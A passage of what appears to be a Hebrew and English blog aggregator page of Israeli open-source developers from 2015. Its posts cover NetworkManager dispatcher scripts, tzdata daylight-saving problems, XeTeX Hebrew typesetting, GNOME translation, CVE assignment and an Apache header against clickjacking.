לא מדובר על מהלך צדדי של התקדמות טכנולוגית, אלא משהו הנוגע לבסיס התפיסה של האופן שבו מספקים שירות. המשמעות היא כה נרחבת, שנראה שזו אחת הסיבות שמיקרוסופט החליטה לפתוח את מערכות זמן הריצה של טכנולוגיית dotnet כך שהן יוכלו לרוץ תחת לינוקס בעזרת mono. אם בעבר, כדי להריץ אפליקציות dotnet היית צריך שרת חלונות, עם כל הסיבוכיות בניהול מערכות אלו, באמצעות docker ניתן יהיה להזניק בקלות ולנהל צביריים של dotnet הרצים תחת לינוקס. יש גם איזו טענה שטכנולוגיה דומה ל-docker תרוץ תחת חלונות. אך  נראה שבשל חוסר הגמישות של המערכת בנוסף למגבלות ניהול הזכרון (אין shared memory, רק shared library) זו טכנולוגיה שאם תתפתח, תהיה מוגבלת בביצועים וביכולות. יחד עם זה, נראה שמגבלות של מערכות חלונות לבצע עבודה בעומסים גבוהים היא כבר נתון שספק אם ישתנה אי פעם.

 

הטקסט המלא

16 August, 2015 08:20 AM

15 August, 2015

Rabin Yasharzadeh

[NetworkManager] Using dispatcher.d to run scripts based on network connectivity

This post is based on my personal need to mount/umount some network shares automatically when I’m switching between networks (e.g Homer/Office). Later on I was looking to make it more modular and came out with this solution, which can be further extended.

NetworkManager have a nice option to execute scripts after ones connect/disconnect to a network, you can find more in the Arch wiki page including some examples.

The problem I had with the way dispatcher.d works is that it execute all the files in the dispatcher.d folder in a linear order, and you have to code each script to handle the interface, connection state and the network you’re connecting to, so at first all my scripts looked something like this,

#!/bin/sh
### ONE OF OLD SCRIPT FORMAT

USER='username'
REMOTE='user@host:/remote/path'
LOCAL='/local/path'

interface=$1 status=$2
if [ "$CONNECTION_UUID" = "uuid" ]; then
  case $status in
    up)
      export SSH_AUTH_SOCK=$(find /tmp -maxdepth 1 -type s -user "$USER" -name 'ssh')
      su "$USER" -c "sshfs $REMOTE $LOCAL"
      ;;
    down)
      fusermount -u "$LOCAL"
      ;;
  esac
fi

I hated that I had to replicate the if/case template for each script I was adding, so I came with a different approach. And in my current setup I added the following file to the dispatcher.d folder

#!/bin/bash

DEVICE=${1}
STATE=${2}
CWD=$(dirname "$0")

LOG='/var/log/NetworkManager_dispatcher.d.log'

# DEBUG
echo "$(date +"%F %T") Called with ($*) and connection uuid is: ${CONNECTION_UUID}" >> ${LOG}

# Needed only if you need to display notification popups
#export DISPLAY=:0.0
#export $(grep -z DBUS_SESSION_BUS_ADDRESS /proc/$(pgrep session)/environ)


for FILE in ${CWD}/${CONNECTION_UUID}/${STATE}/*
do
        #DEBUG
        echo "$(date +"%F %T") Running ${FILE}" >> ${LOG}
        . "${FILE}"
done

NetworkManager pass 2 parameters to each script it runs under the dispatcher directory,

And so if we have connected to the home network with, The “master” script will list all the files under 

${CONNECTION_UUID}/up
  and will execute them one-by-one.

And so my dispatcher folder structure look like this,

# tree /etc/NetworkManager/dispatcher.d 

/etc/NetworkManager/dispatcher.d 
├── 4237f1af-15bf-46f7-a3a1-9a37c0d075de/
│   ├── down/
│   │   └── 00-umount-freenas-media*
│   └── up/
│       ├── 00-mount-freenas-media*
│       ├── 70-wifi-wired-exclusive.sh*
│       └── 99-set-display*
├── fdd94fcd-c801-401c-9caa-ebb21e10bc9e/
│   ├── down/
│   └── up/
│       └── 99-set-display*
...
├── Home -> 4237f1af-15bf-46f7-a3a1-9a37c0d075de/
├── Office -> fdd94fcd-c801-401c-9caa-ebb21e10bc9e/
...
└── 88-MASTER-DISPATCHER*

Remarks

Links:

15 August, 2015 08:28 PM

13 August, 2015

Shlomi Noach

Percona Live Amsterdam: Community Dinner, Sep. 22nd

Keeping up with tradition, there will be a community event held at the upcoming Percona Live Europe: Amsterdam 2015 conference.

This year, Booking.com will be hosting the event at the company's headquarters in the heart of Amsterdam.

We will hold a community dinner (dish selection, includes vegetarian; beverages will be served) in our caffeteria and hope to add some spicy activities to the event!

Space is limited, and tickets can be purchased via Eventbrite.

Special thanks to Daniël van Eeden and Jean-François Gagné for their work in making this happen!

Tuesday, September 22, 2015 from 6:30 PM to 10:00 PM (CEST)
Herengracht 597, 1017 CE
Amsterdam

Location: https://goo.gl/maps/06oOA

Walking route from conference venue: https://goo.gl/maps/Ocptu

13 August, 2015 05:21 PM

09 August, 2015

Artyom Beilis

שעון קיץ בישראל ומחשבים

ביום ראשון האחרון, חצי מדינת ישראל התעוררה עם שעונים לא נכונים.

כולנו מוכנים לכוון את השעונים שלנו כשיש מעבר לשעון חורף, בודקים פעמיים יומנים וזמנים, מסתכלים על שעונים וכד'. אבל מה עושים שימים בהם לא התשנה שעון - אלא היה אמור להשתנות השעון - אף אחד לא שם לב.

בזיון. מרבית הפצות לינוקס לא הספיקו לעדכן את tzdata, למשל לא Debian ולא Ubuntu יציבות קיבלו איזורי זמן נכונים (גם בעדכונים אחרונים), העדכון האחרון של Red Hat גם הוא יצא ממש לא מזמן. כמובן גם Windows לא הספיקו להוציא עדכונים - כך שגם אשתי שלא משתמשת בלינוקס התעוררה עם שעון לא תקין במחשב שלה - והוא תמיד מעודכן אצלה עד לדקה האחרונה.

אני כמובן כבר לא מדבר על יישומים שמנהלים את IANA Time Zone Database בעצמם, יישומים זניחים כמו Java או ICU וכד.

אז מה לדבר על טלפונים סלולריים? יש כאלה האשימו בבזיון את חברות הסלולר... אבל נדמה לי שבעיה קצת יותר עמוקה.

עדכון החוק האחרון היה ביולי 2013 - אז האם אפשר להאשים את מאות (אם לא אלפי) האנשים והארגונים האחראים על עדכונים שוטפים שלא הספיקו להפיץ את עדכוני איזור הזמן האחרונים? האם אפשר להאשים מיליוני משתמשים בישראל בכך שלא התקינו את העדכונים האחרונים (אם הם היו בכלל)?

התשובה היא: הבזיון האמתי הוא לא אותם האנשים אלא החקיקה חפוזה שלא באמת מתחשבת בהשלכות. כנראה לא היה מי שהסביר לח"כ היקרים שלנו ששינוי איזור זמן זה לא בדיוק הזזת מחוגים בשעה המתאימה. (או הסבירו אבל אף אחד לא הקשיב או העדיף שינוי פופליסטי)

הטקסט המלא

09 August, 2015 07:16 PM

לשרת את כל אתרי החדשות בארץ בעזרת... CppCMS

אני לא יודע אם שמתם לב, אבל בשנה האחרונה קצב הפיתוח של תשתית CppCMS ירד בצורה ניכרת. ריכזתי את מרבית המאמצים במערכת פרסום מיוחדת הבנויה על תשתית ה־CppCMS שפותח עבור לקוח.

הפרויקט נקרא ליניקום.

היום, כשליניקום כבר פעיל זמן רב ומתוחזק ע"י צוות מורחב, אני אוכל להקדיש יותר זמן לתשתית CppCMS עצמה.

מספר מילים על "ליניקום":

"ליניקום" הוא מנוע שמביא פרסומות תלויות תוכן ומותאמות למשתמש לאתרים שונים בקלות רבה. מרבית אתרי החדשות הגדולים בארץ משתמשים בשירותי ליניקום, ביניהם: ynet, הארץ, מאקו, Jerusalem Post, ואללה ועוד רבים אחרים כולל מספר אתרים גדולים בחו"ל.

להלן כמה עובדות מעניינות:

  • ליניקום מבוססת על טכנולוגית CppCMS
  • המערכת משרתת כ־10,000,000 פניות המותאמות למשתמש ביום - קרי כ־115 פניות בשניה.
  • בשעות העמוסות הקצב מגיע לכ־160 פניות בשניה.
  • השרת מייצר תעבורה יוצאת ממוצעת של כ־11 מגאביט בשניה.
  • צריכת זיכרון הכוללת של המערכת (שרת וואב, בסיס נתונים, יישום, מערכת ההפעלה) הוא בסביבות 360MB
  • העומס הממוצע על המעבדים הוא כ-5%
  • השרת רץ על c1.medium instance בודד ב־Amazon EC2

המערכת רצה מאחורי lighttpd ומשתמשת ב־PosgreSQL לשמירה וניהול הנתונים בצורה אינטנסיבית, עם זאת, מרבית הנתונים הנדרשים בזמן אמת שמורים ומנוהלים בזיכרון.

כמעט כל פניה לשרת דורשת עיבוד נתונים על מנת לספק פרסומות מותאמות אישית, מבחינה טכנית, זה אומר שלא ניתן לעשות "מיקור חוץ" של הפניות האלה לקבצים הסטטיים וכל פניה של כל לקוח צריכה להיות מטופלת בנפרד.

מערכת הפרסום הזו, היא הדוגמה הקלאסית לשימוש בטכנולוגיית CppCMS - מערכת שצריכה להיות מהירה ואפקטיבית. מערכת שמסוגל להתמודד עם עומסים גבוהים ולעתים חריגים ללא בעיות ולספק איכות השירות גבוהה ביותר.

שימוש בנתונים השמורים בזיכרון, ניהול נתונים שלא יכולים להיות שמורים בזיכרון מטמון - זה המקום בו יכולות CppCMS באות לידי ביטוי במלואן. יכולת גדילה גבוהה עם דרישות תחזוקה מינימליות, אמינות גבוהה - האם אלה שמאפשרים לדאוג לצד העסקי בלי לחשוב על בעיות ביצועים אפשריות.

הטקסט המלא

09 August, 2015 07:16 PM

Ira Abramov

איך לא לעצבן לנו את הנגן

אין לי הרבה מה להגיד בפוסט הזה מלבד שנז"ק דיגיטלי הוא אכן נזק, ושנראה לי שאין לי היום מקוריות בבחירת כותרות פוסטים.

(כן, עוברים חודשים, אני לא כותב על הביומטרי או על פיגועי טרור, או מחטפי הגז, כי מי שעוקב אחרי בטוויטר יודע שאני גם ככה מיואש ולא נותר אלא לרטווט את הכתבים המובילים ולבכות. אז אם אני פותח כבר את הוורדפרס (ששדרג השנה יותר גרסאות משאני כתבתי פוסטים) אני אעשה את זה כדי להתלונן על הדברים הקטנים שמציקים לי. צרות עולם ראשון אם תרצו.)

באחד האמשים הזמנתי לי סטרימר קטן בקיקסטרטר. קופסת גפרורים שמתחברת בדיסקרטיות מאחורי הטלוויזיה, מבוססת פיירפוקס או-אס שהיא מעיין אדרואיד של עולם התוכנה החופשית. כשהמכשיר היה כמעט מוכן (לטענתם) הם פתאום החליטו להוסיף רכיבי תוכנת נז"ק דיגיטלי, לטעתם רק כך יוכלו המשתמשים להנות עד הסוף מאפשרויות הצפיה בנטפליקס, הולו+, אמאזון ושאר הירקות שממילא לא משדרות מחוץ לארה"ב אם לא תחמנת אותן עם VPN לכתובת IP אמריקנית ואולי גם כרטיס אשראי אמריקקי. לכבוד השדרוק, הודיעו, הם מעכבים את היציאה בכמה חודשים, מחזקים את המעבד ועוד כהנה. והנה עברו החודשים, המשתמשים שעוד לא התייאשו ובקשו החזר קיבלו הודעה מוזרה: "הסתבכנו עם הנז"ק הדיגיטלי, סוגרים את הבאסטה ומחזירים לכם את הכסף". מה קרה לתכניות המקוריות? לא ברור, אבל תאוריית הקונספירציה שכרגע נפוצה בין משתתפי הקמפיין היא שהעובדה שיש להם כסף להחזיר אומרת שקנו אותם, כנראה החברה הסינית שאיתה פיתחו את הפלטפורמה. אם יצא מוצר, הוא יהיה קנייני אני מניח. נו, לפחות הם מחזירים את הכסף, הקאקערים.

אבל זה לא פוסט תלונה, זה פוסט עשיה, ואם רוצים להנות ממשהו ראוי, צריך לעשות את זה בעצמנו. הרשת מלאה בסטרימרים זולים ויקרים, חלקם מבוססים לינוקס, חלקם אנדרואיד וחלקם (שומו שמיים) איזה חלונות אמבדד או משהו (לפי השמועות). אך אני איני מתכופף לטכולוגיות קנייניות כמו שאתם מכירים אותי, אז הנה התוכנית:

  1. רספברי פאי 2, עם קופסת ABS קשיחה וספק כוח – סביבות $42. אם אתם רוצים ספק שגם יודע לדחוף זרמים כראוי, אני יכול להמליץ על המפלץ הזה.
  2. להתקין דביאן וקודי על כרטיס 16GB, נגיד עוד כ$5.
  3. כבל HDMI.
  4. זהו. סטרימינג מהרשת, מכוננים של USB או משרת הטורנטים שבחדר העבודה. מי צריך יותר מזה, תכלעס? אה, וזה אפילו מריץ מיינקראפט לילדה, אז בכלל…

אופציונאליים:

לאחר שהתקנתם את התוכנה והחומרה, כדאי להציץ במדריכים של קודי ישראל ביוטיוב, או בפורום שלהם לענייני עברית וישראל, או בכל אתר בינלאומי אחר שבא לכם. לא צריך קופסאות מאד יקרות כדי לקבל בימינו את כל היתרונות מקום אחד :-)

אני מקווה שלא שכחתי כלום. בהצלחה!

תגים: , , , , , , , ,

09 August, 2015 05:11 PM

08 August, 2015

ik

סיכום אוגוסט פנגווין 2015

למי שאינו יודע, כמעט כל אירוע אוגוסט פנגווין זוכה אצלי לסוג של סיכום, מאז שהבלוג הזה התחיל את חיו.
לפני שנה לא היה האירוע השנתי, וכנראה שזו הסיבה שהשנה היו יחסית מעט אנשים.
אך מצד שני, הגיעו כמה אנשים שהרבה שנים (חלקם אפילו 9) כבר לא פגשתי, אז היה די נחמד.

הגעתי יותר מקודם ממה שהציגו ברכבת,שהיה דבר נהדר, אז הגעתי מוקדם וסייעתי לארגן דברים כמה שיכולתי עד שהפריעו לי לגמרי.
ניסיתי גם למצוא את השם שלי, אך הוא עוד לא הודבק, אז חיכיתי עוד קצת, וגם זה הגיע :)

ואז התכנסנו בחדר המרכזי. הייתה פתיחה של שי, ואז הרצאה מאוד מעניינת של אחד ממפתחי systemd. זו מערכת שאני מאוד אוהב באופן אישי, כאשר משווים אותה למה שהיה קיים עד לפיתוח שלה. ובהרצאה גם הבנתי למה.
ממש נעשה מחקר בנושא לפני שהחליטו על כיוון, אבל כמו כל מערכת, היא לא מושלמת ותמיד יש מה לשפר אצלה כפי שעודד הראה לי בצורה חיה במחשב שלו.

הרצאה על systemd

הרצאה על systemd

לאחר מכן, הגיע הפרס, לאדם מעניין מאוד שתרם רבות לדו כיווניות ובעיקר לשפה העברית בהרבה מערכות ותכנות. עם נאום ארוך.

ואז התפזרנו לצילום קבוצתי (שכמו כמעט בכל כנס – לא השתתפתי בו) ומסלולים שונים.

לצערי ההרצאות די לא עמדו בזמנים, ובכלל היו קצת דחוסות בעיני, דבר שרק סיבך את כל האנשים.

הלכתי להרצאה של אבטחת מידע באנדרואיד, וקצת אכזב אותי שהיא הייתה בסיסית מידי, ולא מספיק טכנית לטעמי, אך בכל זאת היה בה הרבה עניין.

לאחר מכן, הלכתי לשמוע על מערכות הפעלה, והמרצה ניסה לסמן מטרה גדולה מידי, ופספס אותה לגמרי תוך כדי הציור שלה.
הוא לקח את לינוקס והגזים עם המון דברים, כמו למשל הרעיון שיש לך הרבה tty פתוחים גם בשרת ווירטואלי. אבל אפשר לכבות את זה. במידה ואתה עם מערכת init של sysv יש לך את הקובץ Inittab ואם אתה משתמש ב systemd אז אפשר גם שם לסגור דברים.
העניין הוא, שהוא פספס לגמרי את השימוש ב tty ומה הם אומרים – שזו תקשורת סיריאלית אשר מסוגלת לעשות המון דברים, בהתאם לסוג המסוים, כמו למשל text terminal, או teleprinter וכיוב'… כן זה עולם ישן, אבל הפשטות שלו גורמת לו להיות מאוד יציב ואיכותי יחסית, שניתן לזרום איתו להרבה כיוונים שונים.

הוא מצד אחד מדבר על שרתים, ותוך כדי מספק דוגמה דמגוגית של שימוש במערכת הגרפית של איקס וcups, ואז מדבר שלא צריך אותם בשרת.
וכמובן עוד הרבה מאוד דברים, אשר די פספסו את המטרה של מה שהוא רצה להגיד – שיש צורך במערכות הפעלה ייעודיות יותר לסוגים שונים של דברים.

לאחר מכן, הלכתי לשמוע על רעיון חדש עבור shell. המרצה העלה הרבה רעיונות מאוד מעניינים. למשל, אם הרצתי פקודה וקיבלתי פלט, מן הסתם הפקודה הבאה כנראה רוצה להשתמש במידע שקיבלתי, אז מדוע אין shell שמספק לי את זה?

הרעיון בגדול מאוד, היה מעניין עד מאוד, אם כי לדעתי יש מספר דברים שעדיין צריכים להתפתח שם ולהבשיל, אך בהחלט יהיה בעיני מאוד מעניין להשתמש ב shell כזה (במידה וגוגל יוכל למצוא את השם).

לאחר מכן, הלכתי להרצאה של חץ על מערכות קבצים, שמן הסתם ניחשתי מבעוד מועד כי הוא בעיקר ידבר על zfs שאותו הוא מאוד אוהב.
לצערי, כמעט בכלל לא קיבלתי שם מידע חדש (דווקא הנושא מאוד מעניין אותי), אך בכל זאת מעניין לשמע דברים, וחץ תמיד נכנס לעובי הקורה כאשר הוא ממליץ על דברים.

אז החלטתי שהגיע הזמן לחזור הביתה (יצאתי מאוד מוקדם בבוקר), ולא נשארתי להרצאה האחרונה ודבר הסיכום של השנה.

לכנס הזה, הצעתי הרצאה (שבעיני לפחות מאוד מעניינת מן הסתם) – עד כמה אתם מודעים לכמות המפתחים שיש לכם לכמה מהפרויקטים הכי נפוצים?
אך שי החליט שזו הרצאה שלילית מידי, אז גנזתי אותה במקום להציג.

סה"כ מאוד שמחתי לפגוש כמה אנשים שלא ראיתי מספר רב מאוד של שנים, ואחרים "רק" מספר חודשים.

כיף לראות שיש אנשים בקהילה שלנו שמגיעים לכל כנס ותורמים רבות להצלחה.
לצערי מרבית האנשים שמתנדבים, הם אנשים קבועים, עם פחות "דם חדש" שנכנס ומארגן דברים, אך מצד שני, גם אני מתקשה להתנדב, אז זהו, עד לשנה הבאה :)


תויק תחת:אוגוסט פנגווין, אירגונים וחברות, אירועים, חברה, טכנולוגיה, קהילה, קוד פתוח

08 August, 2015 05:23 PM

16 July, 2015

Oz Nahum

Introducing psutil in Munich Python Users

I gave a quick talk in Python Munich User Group about one of my favourite Python tools. Here is a link to the presentation about psutil. ... continue reading...

16 July, 2015 09:15 PM

15 July, 2015

Ram on Agmon

זן ותכנון מסלולי רכיבה באופני הרים

אחד הדברים המגניבים באופניים, שאפשר להגיע איתם ממש רחוק. בנוסף לזה, הן עוברות בכל מקום. כמעט. מקסימום, מעמיסים על הכתפיים. יחד עם זה, נסיעה למרחקים, בשטח, דורשת הכנה. בעיקר, לבחור מסלול נכון.

בחו"ל, גוגל מציעה מסלולי רכיבה. בארץ, משום מה, יוק. תוכנות כמו strava מאפשרות תכנון של מסלול, אפילו תוך התייחסות לרכיבות של אנשים אחרים, אבל התהליך הוא ארוך, מייגע, ולא בהכרח מספק תוצאות ראויות.

openstreetview הוא לא רק אתר, אלא זה פורמט. פורמט גאוגרפי שמאפשר להגדיר בצורה מדוייקת מאוד תווי שטח ומה למעשה יש בשטח. מאחר שהרעיון מאחורי הוא חופשי, להנגיש את המידע, אז יש גישה מלאה לכל הנתונים. לכל אחד.  מאחר שהפורמט חופשי, והמידע חופשי, התאפשר פיתוח של אלגוריתמים משוכללים המאפשרים ניווט ברמה גבוהה מאוד.

אתר המסלולים הזה מאפשר לתכנון ניווט לפי פרמטרים. מאחר שהנתונים שהוכנסו למערכת כוללים גם את סוג הדרך (מהירה, כביש, דרך עפר וכו') ניתן לבקש מהמערכת להימנע מכבישים מהירים, ואז, היא תיצור ניווט שבילים.

בדקתי את התוצאות במסלולים שאני מכיר, ולעיתים קרובות הייתי מופתע. שבילים שההבדלים בינהם זניחים, עדיין המערכת התייחסה אליהם בעדיפות הנכונה. זה לא מושלם, ויש קצת בעיות ממשק, אבל זה הטוב ביותר בשטחי מדינת ישראל. ואת המקומות אפשר להקליד גם בעברית.

המסלול שהמערכת הציעה מאיזור כפר סבא לבאר שבע, היה הרבה יותר מדוייק וחכם מזה שניסיתי לבדוק במשך שעות מול מערכות אחרות.כוחה של התוכנה החופשית.

 

הטקסט המלא

15 July, 2015 08:12 PM

13 July, 2015

Gabor Szabo

YouTube Channel at 100,000 views

For the full article visit YouTube Channel at 100,000 views

13 July, 2015 08:34 PM

09 July, 2015

Yoav Farhi

המשרד שלי היום

image


09 July, 2015 06:36 PM

05 July, 2015

Yosef Or Boczko

תרגום GNOME – לקראת הסוף ?

ערב טוב.

מזה זמן ברצוני לכתוב רשומה ולעדכן על תרגום GNOME. בזמן האחרון הזמן העומד לרשותי הולך ומצטמצם, ובכל זאת אני משתדל להשאיר את המערכת מתורגמת ברמה סבירה, לכל הפחות בשימוש הפשוט – תקינות מימין לשמאל ותרגום מלא.

בקרוב אתגייס, על כן מרגע זה אוכל לתרגם אחת לשבועיים עד לאחת לחודש.

אראה אם אוכל לתחזק את התרגום במהלך השירות הצבאי. אם לא אעמוד בכך, אשתדל לראות אם מישהו יוכל לקחת על עצמו את המשימה, אם ירון יוכל לקחת עליו בחזרה את מלאכת התרגום, אם יש לו זמן אם למישהו אחר. לעת עתה, על כל פנים, אני לוקח בחשבון שאולי אספיק, בכל זאת, לתחזק את התרגום בעצמי גם במהלך השירות הצבאי.

מבחינה טכנית, כעת, אין באפשרותי להמשיך לתרגם, וזאת לאחר שלפני שבוע המסך שלי עלה בסערה השמימה (הוא לא נשרף, סתם הפסיק לפעול). כנראה רק בתחילת השבוע הבא אשיג מסך חדש (בינתיים אני עסוק בדברים אחרים, כך שנוח לי להיות ללא מחשב).

מטרתי היא להשאיר את GNOME מתורגם באופן מלא (כפי שהשארתי אותו ב-3.16), וכן להספיק ולהעביר את החבילות שלי מה-AUR הישן ל-AUR 4, לפני הגיוס.

יתכן ואוכל להגיע לכנס אוגוסט פינגווין השנה, על אף שכבר לא אהיה עוד אזרח. את כנס GUADEC, כנס מפתי ומשתמשי GNOME השנתי – הפסדתי השנה :-(

אזכיר כאן את נגן המוזיקה Lollypop, אותו תרגמתי מרגע שהיה נראה לי שימושי. נגן מוזיקה זה הוא פיצול של gnome-music, אם כי אינו עושה שימוש ב-tracker. הממשק שלו מאד נוח, עם כמה וכמה דברים די שימושיים. אין לי אותו כאן ועל כן לא אסקור את הנגן, אף צילומי מסך אין לי. על כל פנים – הנגן מתורגם ותקין מימין לשמאל. מומלץ ביותר.

לבסוף אומר תודה לאלה שהיו כאן, מי שדיווח לי על תקלה בתרגום או תקלה בכיווניות, מי שנעזרתי בו עם שאלות מכאן ומשם ומי שסתם קשקשתי לו מדי פעם. יש פה אנשים טובים, באמת.

והשיר כמובן לכבודכם :-)

ערב טוב,

יוסף אור

05 July, 2015 07:26 PM

04 July, 2015

Guy Rutenberg

Creating a Hebrew Document in LyX 2.1 with XeTeX

This post complements the basic LaTeX template I gave yesterday for typesetting Hebrew with XeTeX. I’ll walk through the (short) list of steps needed to configure LyX with XeTeX.

Prerequisites

Setting up the document

Create a new document and open the settings dialog (Document -> Settings...).

  1. Pick a suitable Document class. I recommend “KOMA-Script Article” but “Article” works just as fine. Avoid “Hebrew Article”, as it is broken under XeTeX.
  2. Under Fonts check the box next to `Use non-TeX fonts (via XeTeX/LuaTeX) and select suitable fonts:
    • Roman: Frank Ruehl CLM. David CLM is also a good choice with somewhat better italics variant.
    • Sans Serif: Simple CLM.
    • Typewriter: Miriam Mono CLM.
    • There is no need to change the Math font.
  3. Under Language select Hebrew as the document’s language.

That’s basically it. You can now write your document and compile it. I would suggest saving these settings as default (via “Save as Document Defaults”) or saving it as a template so you won’t need to repeat those steps.

Writing in English

To insert English text in your Hebrew document, you need to change the current language. The easiest way to do so is to create a keyboard shortcut for it:

  1. Go to Tools -> Preferences -> Editing -> Shortcuts
  2. Write “language” under “Show key-bindings containing:”.
  3. Select “language” under “Cursor, Mouse and Editing Functions” and click “Modify” to set a keyboard shortcut (F12 is traditionally used for this).

Now you can toggle the current language between English and Hebrew by simply pressing F12.

Remark about Fonts

It is preferable to use fonts that provide both Hebrew and Latin scripts, as otherwise there might be significant style differences which make the document look weird. It is possible to set a different font for Hebrew and Latin, but care needs to be taken to match styles. To do so, add the following lines to the Preamble:

\newfontfamily\hebrewfont[Script=Hebrew]{David CLM}
\newfontfamily\hebrewfonttt[Script=Hebrew]{Miriam Mono CLM}
\newfontfamily\hebrewfontsf[Script=Hebrew]{Simple CLM}

04 July, 2015 06:09 PM

24 June, 2015

Gabor Szabo

YAPC and Perl Workshop participant numbers

For the full article visit YAPC and Perl Workshop participant numbers

24 June, 2015 05:39 PM

21 June, 2015

Yoav Farhi

גלידת שפרעם

image

מצאתי בסופר בכפר הקרוב, והייתי סקרן מספיק כדי לנסות. וואו, טעים!


21 June, 2015 10:26 AM

29 May, 2015

Shlomi Fish

Vim Tip: Going to the top or bottommost window/viewport

In the Vim and GVim text editors, one can use Ctrl+W;t (or Ctrl+w;Ctrl+t) to go to the topmost/most top window (= a section of the screen in Vim terminology) and Ctrl+W;b to go to the bottommost/most bottom one.

Cheers!

29 May, 2015 05:08 PM

16 May, 2015

Kobi Zamir

libhdate-js

אחרי שתרגמתי את את libhdate ל php החלטתי לתרגם את הקוד גם ל javascript , הסיבה העיקרית היתה שאני יכול :-) התרגום נעשה קודם ל typescript ואח"כ ל javascript.

הטקסט המלא

16 May, 2015 06:41 PM

14 May, 2015

Kobi Zamir

libhdate-php

libhdate-php הוא מימוש ב php נקי של ספרית libhdate. המימוש משתמש באותם אלגורתמים וקבועים כמו הספריה ב C. אך כתוב כולו ב php. הספריה יודעת להמיר תאריכים לועזיים ועבריים, להציג חגים, קריאות בתורה וגם לחשב את זמני היום.

הטקסט המלא

14 May, 2015 04:02 PM

13 April, 2015

Liran Tal

The Drupal Rap song – Everyday I’m Drupalin’

This YouTube video doesn’t need any further explanation beside it’s title: The Drupal Rap song – Everyday I’m Drupalin’

 

 

 

Lyrics:

Chorus
Everyday I’m drupalin

Verse
Where them forms you gettin fapi with I’m the fapi boss/ hookin into edit form and webforms is my specialty sauce/ I’ll hook form alter by form id’s or entities/ put a list on Ajax/ just to keep it callin back/

I got them distrobutions, I’m like acqia/
Check my public repos, I didn’t copy nuttin/ I know dries n webchick, I kno Ryan szrama/ all the commerce guys we hipchat when they got some drama/
Might not be pretty code but it gets me paid/ I’m using rules like php loopin through arrays/ I put it all in features, so the code is stable/ it might take longer, but next time I just click enable/ These dudes clearin caches, on every hook init/ queries by thousands, page loads by the minutes

Verse
No matter the language we compress it hard/ drugs cc all, we just drugs cc all/
Where’s all of the changes, you never saw/ so drush cc all, we just drugs cc all/ I lean heavy on smacss, compass compilin my sass/ you just installed flexslider now you teachin a class/
I seen your content types, I don’t need to kno you/ to know that we ain’t even in the same nodequeue/
I’m on drupal answers, check my reputation/ I’m on my tablet earnin karma while I’m on vacation/ ya girl like a module, she stay hookin n/ you couldn’t code an info file, without lookin in/
Mo scrums, equals better sprints, break the huddle, n the work begins

Thanks to New Valley Media for helping with the video http://www.newvalleymedia.com/
Thanks to Broadstreet Consullting http://www.broadstreetconsulting.net

The post The Drupal Rap song – Everyday I’m Drupalin’ appeared first on Liran Tal's Enginx.

13 April, 2015 05:26 PM

21 March, 2015

Guy Rutenberg

Hebrew with XeTeX Example

This is an example of a document in XeTeX (Actually XeLaTeX). I’ve used The fonts from the Culmus Project. Note that you’ll need Culmus 0.121 or newer in order to get the Frank Ruehl font in TrueType. As you can see, Nikud are placed correctly. The cantillation marks (טעמי המקרא) are in a small offset compared to the ideal position.

Overall, XeTeX works much better with Hebrew (and easier to use) than pdfTeX.

heb-test

\documentclass{minimal}
\usepackage{polyglossia}
\setdefaultlanguage{hebrew}
\setotherlanguage{english}
\usepackage{fontspec}
\setmainfont{Frank Ruehl CLM}
\setmonofont{Miriam Mono CLM}
\setsansfont{Simple CLM}
% Use the following if you only want to change the font for Hebrew
%\newfontfamily\hebrewfont[Script=Hebrew]{David CLM}
%\newfontfamily\hebrewfonttt[Script=Hebrew]{Miriam Mono CLM}
%\newfontfamily\hebrewfontsf[Script=Hebrew]{Simple CLM}
 
 
 
\makeatletter
\makeatother
\usepackage{bidi}
\begin{document}
טקסט רגיל
\textbf{טקסט מודגש}
\textit{טקסט נטוי}
\textit{\textbf{טקסט מודגש ונטוי}}
בְּרֵאשִׁ֖ית בָּרָ֣א אֱלֹהִ֑ים אֵ֥ת הַשָּׁמַ֖יִם וְאֵ֥ת הָאָֽרֶץ:
 
\begin{english}
In the beginning God created the heaven and the earth.
\end{english}
 
\sffamily
טקסט רגיל
\textbf{טקסט מודגש}
\textit{טקסט נטוי}
\textit{\textbf{טקסט מודגש ונטוי}}
בְּרֵאשִׁ֖ית בָּרָ֣א אֱלֹהִ֑ים אֵ֥ת הַשָּׁמַ֖יִם וְאֵ֥ת הָאָֽרֶץ:
 
\begin{english}
In the beginning God created the heaven and the earth.
\end{english}
 
 
\ttfamily
טקסט רגיל
\textbf{טקסט מודגש}
\textit{טקסט נטוי}
\textit{\textbf{טקסט מודגש ונטוי}}
בְּרֵאשִׁ֖ית בָּרָ֣א אֱלֹהִ֑ים אֵ֥ת הַשָּׁמַ֖יִם וְאֵ֥ת הָאָֽרֶץ:
 
\begin{english}
In the beginning God created the heaven and the earth.
\end{english}
\end{document}

21 March, 2015 07:58 AM

19 March, 2015

Lior Kaplan

CVE assignment without upstream knowledge

In the past few months I’ve been dealing with aligning PHP CVE information to enable easier tracking of security fixes. The two main locations are the NEWS file which is part of each release and the changelog available on the website which is more popular (and easier to update).

Usually the CVE are assigned per PHP.net security team request or with cooperation with one of the Linux distribution’s teams (either PHP or security), as should be in a good ecosystem.

Recently I got a few notifications issued by Debian about its PHP package, which I wasn’t familiar with these CVE IDS. When checking this, I found out a few CVE assigned per 3rd party (Linux distribution, bug reporter, etc…) request without upstream knowledge. Digging deeper I found out that some CVE were assigned a month after the fixes were released, while others were only a week or two after. While this makes sure the security information is documented, it’s harder to add the information after tagging and releasing.

In another case, while discussing about a CVE for a specific bug, we found out one was already assigned per the reporter’s request but without the our or the upstream library knowledge. Even if the issue isn’t severe, upstream should get a fair chance to fix issue before making them public. Which also leads to a problem with requesting CVE IDs on a public mailing list which in some cases leads to security information leakage. We should balance transparency with some grace period for upstreams (as projects share code).


Filed under: Debian GNU/Linux, PHP

Full text

19 March, 2015 05:33 PM

16 March, 2015

Liran Tal

Prevent clickjacking on Drupal and other Apache web applications

Security is an important aspect to keep an eye for, and this time it’s about preventing clickjacking on Drupal and other Apache web applications.

Edit apache’s configuration file, which may be your declared vhost or such, usually at a location like /etc/httpd/conf.d/default.conf and make sure the  following

 

<IfModule mod_headers.c>
Header always append X-Frame-Options SAMEORIGIN
</IfModule>

 

This will disable embedding your website as an iFrame.

0013_clickjacking

The post Prevent clickjacking on Drupal and other Apache web applications appeared first on Liran Tal's Enginx.

16 March, 2015 01:23 PM

14 March, 2015

Diego Iastrubni

Atom – חרא של עורך

אטום הוא מתיימר להיות מחליף של sublime אבל הוא חרא בריבוע. איטי… דוגמאות:

